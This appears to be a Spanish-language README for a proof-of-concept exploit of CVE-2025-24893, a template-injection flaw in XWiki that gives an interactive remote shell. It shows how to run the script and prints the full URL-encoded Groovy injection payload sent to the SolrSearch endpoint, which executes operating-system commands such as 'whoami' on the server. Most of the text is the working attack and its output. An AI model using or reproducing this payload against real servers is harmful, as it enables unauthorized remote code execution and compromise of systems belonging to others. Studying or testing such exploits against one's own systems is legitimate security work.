
Prueba de concepto del exploit para CVE-2025-24893, una vulnerabilidad SSTI en XWiki, que proporciona un shell interactivo para la ejecución remota de comandos.
Este PoC primero prueba la SSTI y, si funciona, entra en un bucle y te permite ejecutar comandos de forma remota.
Los comandos exec y shell hacen lo mismo actualmente.
python3 poc.py <target>
python3 poc.py http://127.0.0.1:8080
[*] Targeting http://127.0.0.1:8080
[+] Target is vulnerable!
(xwiki-shell) > help
Documented commands (type help <topic>):
========================================
exec exit help shell
(xwiki-shell) > exec whoami
xwiki
El flag de debug en la parte superior del script te mostrará las URLs generadas. Creará un archivo debug.log que contiene la respuesta cruda de la petición.
python3 poc.py http://127.0.0.1:8080
[*] Targeting http://127.0.0.1:8080
[DEBUG] URL used: http://127.0.0.1:8080/xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22XWIKI_TEST_123%22%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D
[DEBUG] Response content-type: application/rss+xml;charset=utf-8
[+] Target is vulnerable!
(xwiki-shell) > help
Documented commands (type help <topic>):
========================================
exec exit help shell
(xwiki-shell) > exec whoami
[DEBUG] URL used: http://127.0.0.1:8080/xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22whoami%22.execute%28%29.text%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D
[DEBUG] Response content-type: application/rss+xml;charset=utf-8
xwiki